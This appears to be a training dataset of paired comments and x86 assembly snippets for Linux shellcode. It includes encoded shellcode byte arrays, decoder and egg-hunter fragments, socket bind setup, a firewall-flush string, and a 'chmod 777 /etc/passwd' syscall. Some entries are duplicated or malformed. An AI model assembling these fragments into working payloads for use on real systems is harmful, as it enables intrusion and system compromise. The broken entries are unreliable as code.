; define the array of bytes encodedshellcode and initialize it to 0xeb,0x0c,0x5e,0x31,0xc9,0xb1,0x19,0xf6,0x16,0x46,0xe2,0xfb,0xeb,0x05,0xe8,0xef,0xff,0xff,0xff,0xce,0x3f,0xaf,0x97,0xd0,0xd0,0x8c,0x97,0x97,0xd0,0x9d,0x96,0x91,0x76,0x1c,0xaf,0x76,0x1d,0xac,0x76,0x1e,0x4f,0xf4,0x32,0x7f
encodedshellcode: db 0xeb,0x0c,0x5e,0x31,0xc9,0xb1,0x19,0xf6,0x16,0x46,0xe2,0xfb,0xeb,0x05,0xe8,0xef,0xff,0xff,0xff,0xce,0x3f,0xaf,0x97,0xd0,0xd0,0x8c,0x97,0x97,0xd0,0x9d,0x96,0x91,0x76,0x1c,0xaf,0x76,0x1d,0xac,0x76,0x1e,0x4f,0xf4,0x32,0x7f
; encoder_shellcode is the array of bytes 0x08,0x60,0x58,0xc8,0x39,0xb0,0xd8,0xc3,0x9f,0x9f,0xd1,0xb8,0xb3,0xfe,0xb9,0x1e,0x4e,0xfd,0x97,0x70,0x39,0xb0,0x6a,0xdb,0xb0,0xc4,0x09,0xcf,0x74,0x25,0x76,0xe6,0xe6,0xe6,0xf6,0x90,0x90,0xaa,0xaa
encoder_shellcode: db 0x08,0x60,0x58,0xc8,0x39,0xb0,0xd8,0xc3,0x9f,0x9f,0xd1,0xb8,0xb3,0xfe,0xb9,0x1e,0x4e,0xfd,0x97,0x70,0x39,0xb0,0x6a,0xdb,0xb0,0xc4,0x09,0xcf,0x74,0x25,0x76,0xe6,0xe6,0xe6,0xf6,0x90,0x90,0xaa,0xaa
; define _encrypt label
encrypt:
; declare the encrypt label
encrypt:
; define _end label
end:
; declare the end label
end:
; define _entrypoint label
entrypoint:
; declare the entrypoint label
entrypoint:
; define even_number label
even_number:
; define even_number
even_number:
; define even_number function
even_number:
; declare _execfile label
execfile:
; define execfile function
execfile:
; declare the execfile label
execfile:
; in execute_shellcode jump short to esp
execute_shellcode:
jmp short esp
; define _execute label
execute:
; declare the execute label
execute:
; define exit_call =1
exit_call equ 1
; define exit_call equal to 1
exit_call equ 1
; define exit_on_error label
exit_on_error:
; declare the exit_on_error label
exit_on_error:
; define exit_label
exit:
; define _exit label
exit:
; define exit function
exit:
; define the exit label
exit:
; declare the exit label
exit:
; define F1 and call the function function_1
F1:
call function_1
; in the function F1 jump to label L1 if the current byte of the shellcode is lower than 0x1 else subtract 0x1 from the byte of the shellcode and jump to L2
F1:
cmp byte [esi], 0x1
jl L1
sub byte [esi], 0x1
jmp L2
; in the function F1 point to the next byte in esi
F1:
inc esi
; in the function F1 point to the next word in esi
F1:
inc esi
inc esi
; define F1 function and jump short to L1
F1:
jmp short L1
; in the function F1 negate cl and increment cl to the next byte
F1:
not cl
inc cl
; define F1, negate cl and increment cl to the next byte
F1:
not cl
inc cl
; define F1, negate cl and point to the next byte in the cl register
F1:
not cl
inc cl
; define the function F1 and store the encoded shellcode pointer in the esi register
F1:
pop esi
; declare the function F1 and save in esi the pointer to the shellcode
F1:
pop esi
; declare the function F1 and point the shellcode in esi
F1:
pop esi
; in the function F1 point to the next byte of the edi and jump short to L1
F1: inc edi
jmp short L1
; define F2 and call the function function_2
F2:
call function_1
; in the function F2 jump to label L1 if the current byte of the shellcode is greater than 0x2 else add 0x2 to the byte of the shellcode and jump to L2
F2:
cmp byte [esi], 0x2
jg L1
add byte [esi], 0x2
jmp L2
; declare F2 and point to the next byte in esi
F2:
inc esi
; declare F2 and point to the next word in esi
F2:
inc esi
inc esi
; define F2 function and jump to L3
F2:
jmp L3
; in the function F2 negate bl and move bl to the next byte
F2:
not bl
inc bl
; declare F2, negate bl and move bl to the next byte
F2:
not bl
inc bl
; declare F2, negate bl and point to the next byte in bl
F2:
not bl
inc bl
; in F2 point to the next byte of the eax register and jump to label L2
F2: inc eax
jmp L1
; define F3 and call the function function_3
F3:
call function_1
; in the routine F3 jump to label L1 if the current byte of the shellcode is equal to 0x3 else move 0x3 into the byte in esi and jump to L2
F3:
cmp byte [esi], 0x3
je L1
mov byte [esi], 0x3
jmp L2
; declare F3 function and point to the next byte in edi
F3:
inc edi
; declare F3 function and point to the next word in edi
F3:
inc edi
edi
; define F3 and jump to L5
F3:
jmp L5
; in the function F3 negate al and move al to the next byte
F3:
not al
inc al
; define the function F3, negate al and move al to the next byte
F3:
not al
inc al
; define the function F3, negate al and point to the next byte in al
F3:
not al
inc al
; define the function F3, move to the next byte of ebx and jump short to L2
F3: inc ebx
jmp short L2
; define F4 and call the function function_4
F4:
call function_1
; in the function F4 jump to label L1 if the byte specified by the address in esi is lower than 0x1 else subtract 0x1 from the byte at the address in esi and jump to L2
F4:
cmp byte [esi], 0x1
jl L1
sub byte [esi], 0x1
jmp L2
; declare F4 and jump short to F5
F4:
jmp short L5
; in the function F4 negate dl and point to the next byte in the dl register
F4:
not dl
inc dl
; declare the function F4, negate dl and move dl to the next byte
F4:
not dl
inc dl
; declare F4, move to the next byte in ecx and jump to L2
F4: inc ecx
jmp L2
; define F5 and call the function function_5
F5:
call function_1
; in the function F5 jump to label L1 if the byte at the address in esi is greater than 0x2 else add 0x2 to the byte at the address in esi and jump to L2
F5:
cmp byte [esi], 0x2
jg L1
add byte [esi], 0x2
jmp L2
; declare F5 and jump to L1
F5:
jmp L1
; define the function F5, increment edx and jump short to L3
F5: inc edx
jmp short L3
; in the routine F6 jump to label L1 if the byte at the address specified by esi is equal to 0x3 else move 0x3 into the byte in esi and jump to L2
F6:
cmp byte [esi], 0x3
je L1
mov byte [esi], 0x3
jmp L2
; define file as the byte string '/sbin/iptables#-f'
file: db '/sbin/iptables#-f'
; define _fileaddress label
fileaddress:
; declare the fileaddress label
fileaddress:
; reserve filecontents variable of 128 bytes
filecontents: resb 128
; create a string filename and initialize to 'readme.txt'
filename: db 'readme.txt', 0h
; reserve a variable filename of 255 bytes
filename: resb 255
; define filestoread_label
filestoread:
; declare the fill label
fill:
; define fill label
fill:
; define find_address label
find_address:
; define find_egg label
find_egg:
; declare the find_egg label
find_egg:
; define find_egg function
find_egg:
; push pi onto the fpu stack
fldpi
; obtain the address of the first instruction of the shellcode
fldz
fstenv [esp-0xc]
pop edi
; define format label
format:
; define format routine
format:
; declare the format label
format:
; define formatting label
formatting:
; formatting label
formatting:
; declare the formatting label
formatting:
; define _four label
four:
; declare the four label
four:
; obtain the address of the first instruction of the shellcode alias the entry mem addr of this code (_start) and then pop it in esi
fstenv [esp-0xc]
pop esi
; define function_1 and execute it
function_1:
call [esp]
; declare function_2 and execute it
function_2:
call [esp]
; declare function_3 and call it
function_3:
call [esp]
; define function_4 and call it
function_4:
call [esp]
; define function_5 and execute it
function_5:
call [esp]
; define fupdisasm function
fupdisasm:
; define fupdisasm label
fupdisasm:
; put cpu into a wait state until the coprocessor signals it has finished itÕs operation
fwait
; define _get_key label
get_key:
; get_shellcode_addr function
get_shellcode_addr:
; declare get_label
get:
; declare the get label
get:
; declare _shell as global label
global _shell
; declare global start
global _start
; define global _start
global _start
; declare global _start, section .text, _start label
global _start
; declare of the global _start
global _start
; global _start
global _start
; define the program entry point
global _start
; declare _start as global label
global _start
; declare global _start
global _start
; declare global start and _start label
global _start
_start:
; declare global _start and _start label
global _start
_start:
; declare global _start, section .text, _start label
global _start
_start:
; declare global start, section .text and _start label
global _start
section .text
_start:
; declare global start, text section and _start label
global _start
section .text
_start:
; declare global _start, setion .text, _start
global _start
section .text
_start:
; declare global _start, section .text, _start label
global _start
section .text
_start:
; declare global _start, section .text and_start label
global _start
section .text
_start:
; declare global _start, section .text, _start label
global _start
section .text

_start:
; declare global _start, section .text, egg_sign = 0x4f904790 and_start label
global _start
section .text
egg_sig equ 0x4f904790
_start:
; declare global _start, section .text, sys_execve = 0x0b and_start label
global _start
section .text
sys_execve equ 0x0b
_start:
; declare the global _start label
global _start:
; global _start
global _start:
; define google as the byte string '127.1.1.1 google.com'
google db '127.1.1.1 google.com'
; define the byte string google and initialize it to '127.1.1.1 google.com'
google: db '127.1.1.1 google.com'
; define _gotocall label
gotocall:
; declare the gotocall label
gotocall:
; create a string 'hello world!' plus a linefeed character
hello: db 'hello world!',10
; define hellolen equal to the length of the hello string
hellolen: equ $-hello
; declare the here label
here:
; define here label
here:
; halt cpu until reset line is activated
hlt
; read the hexadecimal value 0x10 and place it in al register
in al,0x10
; increment the count variable
inc [count]
; increment the contents of the al register
inc al
; increment al register of 2
inc al
inc al
; add 1 to ax
inc ax
; increment ax
inc ax
; increment the contents of the ax register
inc ax
; increment bl by 1
inc bl
; increment bl register by 1
inc bl
; increment the contents of the bl register
inc bl
; increase bl by 2 so ebx=2
inc bl
inc bl
; increment bx
inc bx
; increment the contents of the bx register
inc bx
; increment the byte at the address [esp+ecx] by one
inc byte [esp+ecx]
; increase cl of 1
inc cl
; increase cl by 1 so ecx = 1
inc cl
; increment the contents of the cl register
inc cl
; increase cl of 1 until the contents of cx is less than or equal to 2 with sign
inc cl
cmp cx
jle dupcount
; increment the memory variable count
inc count
; increment cx by 1
inc cx
; save 0x0a into dl to have bad line feed char
inc dl
; increment dl
inc dl
; increment dl register
inc dl
; increment the contents of the dl register
inc dl
; add one to the doubleword integer stored at memory location tmp
inc dword [tmp]
; add one to the doubleword integer stored at memory location value
inc dword [value]
; add one to the doubleword integer stored at location var
inc dword [var]
; increment the contents of the dx register
inc dx
; increment dx by one
inc dx
; increase eax by 1
inc eax
; increment eax by 1
inc eax
; incement eax register by 1
inc eax
; increase eax content by 1
inc eax
; increment eax content by 1
inc eax
; increment eax
inc eax
; increment the address in eax by one byte
inc eax
; point to the next byte in eax
inc eax
; point to the next byte in the eax register
inc eax
; increment the contents of the eax register
inc eax
; go to next memory address increasing eax, then check if the egg is at that memory address. if yes set zf = 1 and go to eax. else zf = 0 and go to next_addr label
inc eax
cmp dword [eax], ebx
jne next_addr
jmp eax
; point to the next word in the eax register
inc eax
inc eax
; move to the next word in eax
inc eax
inc eax
; point to the next double word in eax
inc eax
inc eax
inc eax
inc eax
; move to the next double word in the eax register
inc eax
inc eax
inc eax
inc eax
; increment eax, esi and edi by 1
inc eax
inc esi
inc edi
; load __nr_exit into eax register and call kernel
inc eax
int 0x80
; execute exit syscall
inc eax
int 0x80
; execute waitpid syscall
inc eax
int 0x80
; increment ebx by 1
inc ebx
; increment ebx content by 1
inc ebx
; define sys_socket 1
inc ebx
; increment ebx content defining sys_socket =1
inc ebx
; define sys_socket by increasing ebx by 1
inc ebx
; increment ebx content defining sys_bind = 2
inc ebx
; increment ebx content deining the argument sys_acccept = 5
inc ebx
; increment ebx content then push it on stack
inc ebx
; increment ebx by 1. ebx = sys_socket = 1.
inc ebx
; increment ebx content
inc ebx
; inc-rement ebx by 1
inc ebx
; ebx(5) = sys_accept = accept()
inc ebx
; set connect = 3
inc ebx
; add 1 to ebx
inc ebx
; fix egg signature in ebx adding 1
inc ebx
; load bind =2 into ebx register
inc ebx
; increment ebx register
inc ebx
; increment the contents of the ebx register
inc ebx
; increment ebx
inc ebx
; point to the next byte in the ebx register
inc ebx
; increment ebx content two times
inc ebx
inc ebx
; increment ebx two times defining sys_listen = 4
inc ebx
inc ebx
; point to the next word in the ebx register
inc ebx
inc ebx
; move to the next word in the ebx register
inc ebx
inc ebx
; point to the next double word in ebx
inc ebx
inc ebx
inc ebx
inc ebx
; move to the next double word in the ebx register
inc ebx
inc ebx
inc ebx
inc ebx
; increment ebx content and push it on stack
inc ebx
push bx
; increment ebx content and puh it on the stack
inc ebx
push ebx
; increment ebx content then push it on stack
inc ebx
push ebx
; push 1 on stack
inc ebx
push ebx
; go to next address
inc ecx
; increment ecx
inc ecx
; increment ecx content by 1
inc ecx
; increment ecx to 1
inc ecx
; increment ecx by 1
inc ecx
; increment ecx content
inc ecx
; point to the next position in ecx
inc ecx
; point to the next byte in ecx
inc ecx
; next instruction in the ecx register
inc ecx
; increment the contents of the ecx register
inc ecx
; point to the next word in the ecx
inc ecx
inc ecx
; move to the next word in the ecx
inc ecx
inc ecx
; point to the next double word in ecx
inc ecx
inc ecx
inc ecx
inc ecx
; move to the next double word in the ecx register
inc ecx
inc ecx
inc ecx
inc ecx
; increments edi by 1
inc edi
; increment edi register by 1
inc edi
; increment edi content
inc edi
; increment edi register
inc edi
; inrement edi register
inc edi
; increment the contents of the edi register
inc edi
; point to the next byte in edi
inc edi
; increment edi
inc edi
; increment edi register
inc edi
add al,0x2
; increase edi and cl contents of 1
inc edi
inc cl
; increment edx register by 1
inc edx
; increment edx register
inc edx
; increment edx register by1
inc edx
; increment edx
inc edx
; point to the next byte in edx
inc edx
; point to the next byte in the edx register
inc edx
; increment the contents of the edx register
inc edx
; next word in the edx
inc edx
inc edx
; point to the next double word in edx
inc edx
inc edx
inc edx
inc edx
; move to the next double word in the edx register
inc edx
inc edx
inc edx
inc edx
; increment edx by 1 for 8 times
inc edx
inc edx
inc edx
inc edx
inc edx
inc edx
inc edx
inc edx
; push sock_stream = 1
inc edx
push edx
; push af_inet = 2
inc edx
push edx
; increment edx and push sock_stream = 1 on stack
inc edx
push edx
; increment edx and push af_inet = 2 on stack
inc edx
push edx
; increase esi of 1
inc esi
; increment esi content
inc esi
; incremenet esi content
inc esi
; increment the offset (esi content)
inc esi
; esi point to next istruction in the encoded shellcode
inc esi
; move to the next byte increasing esi by 1
inc esi
; increment esi
inc esi
; point to the next byte in esi
inc esi
; next byte in the encoded shellcode
inc esi
; point to the next byte of the shellcode
inc esi
; move to next byte in esi
inc esi
; point to the next byte of the encoded shellcode
inc esi
; increment to the next byte of the shellcode
inc esi
; increment the contents of the esi register
inc esi
; increment esi and edi register
inc esi
inc edi
; increment esi content two times
inc esi
inc esi
; point to the next encoded_shellcode word
inc esi
inc esi
; point to the next word in esi
inc esi
inc esi
; point to the next word of the encoded shellcode
inc esi
inc esi
; point to the next word of the shellcode
inc esi
inc esi
; next word of the shellcode
inc esi
inc esi
; move to the next word of the encoded shellcode
inc esi
inc esi
; move to the next word of the shellcode
inc esi
inc esi
; increment esi two times and edi once
inc esi
inc esi
inc edi
; increment esi three times
inc esi
inc esi
inc esi
; point to the next byte of the shellcode and jump to label L2
inc esi
jmp L1
; move to the next byte in the shellcode and jump to L2
inc esi
jmp L2
; point to the next byte of the shellcode and jump short to decode
inc esi
jmp short decode
; point to the next byte of the shellcode and jump short to L1
inc esi
jmp short L1
; move to the next byte in the shellcode and jump short to L2
inc esi
jmp short L2
; increment esp content
inc esp
; increment the contents of the esp register
inc esp
; define inc_dec label
inc_dec:
; declare inc_dec function
inc_dec:
; define inc_dec
inc_dec:
; declare _incaddr label
incaddr:
; declare the incaddr label
incaddr:
; declare _incpage label
incpage:
; declare incpage function
incpage:
; define _infinite label
infinite:
; declare _init label
init:
; declare the init label
init:
; define insertion_decoder label
insertion_decoder:
; call kernel
int 0x80
; call sigaction() to check memory location [ecx]
int 0x80
; execute execve syscall
int 0x80
; execute exit syscall
int 0x80
; executing the reboot syscall
int 0x80
; send an interrupt software
int 0x80
; execute
int 0x80
; call socket()
int 0x80
; call kernel / run connect syscall
int 0x80
; execute the function chmod 777 /etc/passwd
int 0x80
; call chmod syscall
int 0x80
; call kernl
int 0x80
; syscall execute
int 0x80
; make syscall
int 0x80
; executing syscall
int 0x80
; call kerel
int 0x80
; calling interrupt for sys call
int 0x80
; exec sys_dup2
int 0x80
; ping kernel
int 0x80
; cal kernel
int 0x80
; ccall kernel
int 0x80
; execute execve
int 0x80
; execute chmod
int 0x80
; execute exit
int 0x80
; execute open
int 0x80
; c all kernel
int 0x80
; call kerenl
int 0x80
; init
int 0x80
; call socketcall()
int 0x80
; socket()
int 0x80
; execute the syscall socketcall
int 0x80